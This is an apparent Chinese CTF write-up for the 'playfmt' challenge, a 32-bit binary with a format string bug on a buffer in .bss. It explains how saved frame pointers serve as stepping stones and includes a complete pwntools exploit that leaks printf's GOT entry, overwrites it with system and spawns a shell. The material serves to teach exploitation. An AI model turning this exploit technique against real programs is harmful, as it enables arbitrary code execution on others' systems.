题目描述

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char buf[200] ;

void do_fmt(){
while(1){
read(0,buf,200);
if(!strncmp(buf,"quit",4))
break;
printf(buf);
}
return ;
}

void play(){
puts("=====================");
puts(" Magic echo Server");
puts("=====================");
do_fmt();
return;
}

int main(){
setvbuf(stdout,0,2,0);
play();
return;
}

关键函数

循环执行的格式化字符串漏洞

分析

  1. 想要getshell,我们希望执行system函数,恰好这里printf函数以输入的内容作为参数且存在格式化字符串漏洞,于是可以考虑把printf的got内容修改为system函数的地址,再输入/bin/sh就能getshell了(或者用onegadget)
  2. 要想把printf的got表写入system函数地址,我们需要得到printf的真实地址,减去printf的偏移加上system的偏移就能得到system函数地址(本题没有system函数)。所以考虑通过%x$s的方式泄露printf的got表内容(x对应第几个参数指向printf的got地址)
  3. 既然如此我们就得想办法让栈上的地址指向printf的got表地址。这里就是本题的重中之重了,假如buf位于栈上,我们只需要写入printf的got表地址然后指向该地址用%s打印,就能泄露出printf的got表内容。但是本题buf是全局变量,位于bss段,就要用到另一种利用姿势了,记为fmt_bss

fmt_bss

非栈上的格式化字符串漏洞,需要找“跳板”。原因:对于%ac%xn,a是个数,x是偏移。如果相应地址处存放的仍然是一个地址(指针),则会向这里存放的指针指向的地址处写入数。如a->b->c,则向c写入数据
通常来说是通过利用ebp和返回地址进行操作

本题而言的具体操作如下:

  1. 获得ebp2的地址
  2. 先让ebp2指向ebp1下的第一个返回地址处,记为fmt7
  3. 用printf的got表地址的低位两个字节覆盖fmt7低位两个字节,此时fmt7->printf_got(返回地址的前两个字节与got表相同)
  4. 再让ebp2指向ebp2下的第二个返回地址处,记为fmt11
  5. 用printf的got表地址+2的低位两个字节覆盖fmt11低位两个字节,此时fmt11->printf_got+2
  6. 获取printf的got表内容,并计算得到system真实地址
  7. 通过fmt7->printf_got,把system地址低位两个字节写入printf的got表处
  8. 通过fmt11->printf_got+2,把system地址高位两个字节写入printf的got表处
  9. 写入/bin/sh,拿到shell

细节

  • 利用hn写入两字节的方式会接收很多字符,用recv()接收字符时一次最多接收0x1000字节内容,单次接受不完,所以发送标志字符并查看是否存在于接收字符中,来验证是否接受完

exp

打本地的,buu没复现成功。。什么时候打通了就把远程脚本放上来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import*
context(os='linux', arch='i386', log_level='debug')
r = process('./playfmt')
elf = ELF('./playfmt')
printf_got = elf.got['printf']
r.recv()

log.info("*************leak printf_got**************")
payload = "%6$x" #ebp1->ebp2
r.sendline(payload)
ebp2 = int(r.recv(),16)
ebp1 = ebp2 - 0x10
fmt7 = ebp1 + 0x4
fmt11 = ebp2 + 0x4
log.info("printf_got ==> [%s]"%hex(printf_got))
log.info("ebp2_addr ==> [%s]"%hex(ebp2))
log.info("fmt7_addr ==> [%s]"%hex(fmt7))
log.info("fmt11_addr ==> [%s]"%hex(fmt11))

payload = '%' + str(fmt7&0xffff) + 'c%6$hn'
r.sendline(payload)
r.recv()

payload = '%' + str(printf_got&0xffff) + 'c%10$hn\x00'
r.sendline(payload)
r.recv()

while True:
r.send("ayoung\x00")
sleep(0.2)
data = r.recv()
if data.find("ayoung")!= -1:
break

payload = '%' + str(fmt11&0xffff) + 'c%6$hn\x00'
r.sendline(payload)
r.recv()

payload = '%' + str((printf_got+2)&0xffff) + 'c%10$hn'
r.send(payload)
r.recv()

while True:
r.send("ayoung\x00")
sleep(0.2)
data = r.recv()
if data.find("ayoung")!= -1:
break

payload = 'aaaa%7$s\x00'
r.send(payload)
r.recvuntil('aaaa')
#gdb.attach(r)
printf_add = u32(r.recv(4))
log.info("printf_add ==> [%s]"%hex(printf_add))
system_add = printf_add - 0xe8d0
log.info("system_add ==> [%s]"%hex(system_add))

payload = '%' + str(system_add&0xffff) + 'c%7$hn'
payload += '%' + str((system_add>>16)-(system_add&0xffff)) + 'c%11$hn\x00'
r.sendline(payload)

while True:
r.send("ayoung\x00")
sleep(0.2)
data = r.recv()
if data.find("ayoung")!= -1:
break

r.send('/bin/sh\x00')
r.interactive()

学到

  1. fmt_bss
  2. gdb一步一步调试理解过程
  3. 位运算提取相应字节
  4. 加入标志字符确定字符接收情况